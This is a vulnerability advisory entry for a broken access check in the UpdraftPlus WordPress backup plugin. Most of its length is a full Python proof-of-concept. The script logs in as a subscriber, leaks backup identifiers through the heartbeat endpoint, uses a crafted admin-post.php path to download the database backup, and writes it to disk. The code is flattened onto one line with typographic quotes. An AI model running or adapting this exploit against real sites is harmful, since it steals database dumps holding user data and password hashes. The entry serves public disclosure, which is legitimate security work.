Lucene search

K
wpvulndbMarc MontpasWPVDB-ID:D257C28F-3C7E-422B-A5C2-E618ED3C0BF3
HistoryFeb 17, 2022 - 12:00 a.m.

UpdraftPlus Free < 1.22.3 & Premium < 2.22.3 - Subscriber+ Backup Download

2022-02-1700:00:00
Marc Montpas
wpscan.com
12
updraftplus
subscriber
backup vulnerability

EPSS

0.005

Percentile

76.4%

The plugins do not properly validate a user has the required privileges to access a backup’s nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.

PoC

from io import StringIO import requests import gzip import json import sys import re if len(sys.argv) != 4: print(‘USAGE: python %s ’ % (sys.argv[0],)) sys.exit() url = sys.argv[1].rstrip(’/‘) with requests.Session() as s: ‘’’ This exploit requires an account on the site (subcriber+) ‘’’ print(‘Logging in…’) # Log into WordPress using our Subscriber account res = s.post( url + ‘/wp-login.php’, headers={ ‘Cookie’: ‘wordpress_test_cookie=WP Cookie check’ }, data={‘log’:sys.argv[2], ‘pwd’:sys.argv[3], ‘wp-submit’: ‘Log In’, ‘redirect_to’: ‘/wp-admin/’, ‘testcookie’:1}) ‘’’ Exploit logic: - The info leak occurs via the heartbeat_received filter. So we need to get the heartbeat nonce to get there. - With the info we leaked (backup “nonce” identifiers & timestamp), download the latest database backup. ‘’’ print(‘Getting heartbeat nonce…’) nonce = s.get(url + ‘/wp-admin/’).text nonce = re.search(r’heartbeatSettings = \{“nonce”:“([0-9a-f]+)”\};‘, nonce).group(1) if not nonce: print(“Couldn’t find the heartbeat nonce :-(”) sys.exit() # Get the UpdraftPlus “nonce” backup identifier, and timestamp print(‘Get last UpdraftPlus backup nonce/timestamp…’) payload = { ‘action’: ‘heartbeat’, ‘_nonce’: nonce, ‘data[updraftplus][log_fetch]’: ‘:-)’, ‘data[updraftplus][log_nonce]’: ‘0’, } heartbeat_response = json.loads(s.post(url+’/wp-admin/admin-ajax.php’, data=payload).text) if ‘updraftplus’ not in heartbeat_response or ‘The backup apparently succeeded’ not in heartbeat_response[‘updraftplus’][‘l’]: print(“Latest log doesn’t show a successful backup :-(”) sys.exit() data = heartbeat_response[‘updraftplus’] backup_info = re.search(r’Backup run: resumption=\d+, nonce=([a-f0-9]+), file_nonce=([a-f0-9]+) begun at=(\d+)‘, data[‘u’][‘log’]).groups() if not backup_info or len(backup_info) != 3: print(“Backup logs aren’t what we expected… :-(”) sys.exit() nonce, file_nonce, timestamp = backup_info print(f’Found backup informations: file_nonce={file_nonce}, timestamp={timestamp}’) # Download the database backup print(‘Attempt to download file backup…’) payload = { ‘page’: ‘updraftplus’, ‘action’: ‘updraft_download_backup’, ‘findex’: ‘test’, ‘timestamp’: timestamp, ‘nonce’: file_nonce, ‘type’: ‘db’ } gzipped_db = s.post(url+‘/wp-admin/admin-post.php/%0a/wp-admin/options-general.php’, data=payload).content if len(gzipped_db) < 100: print(“Not sure there was a db to download in the first place, but it failed downloading it!”) sys.exit() print(‘Writing db dump to db.sql…’) f = open(‘db.sql’, ‘wb’).write(gzip.decompress(gzipped_db))

EPSS

0.005

Percentile

76.4%

Related for WPVDB-ID:D257C28F-3C7E-422B-A5C2-E618ED3C0BF3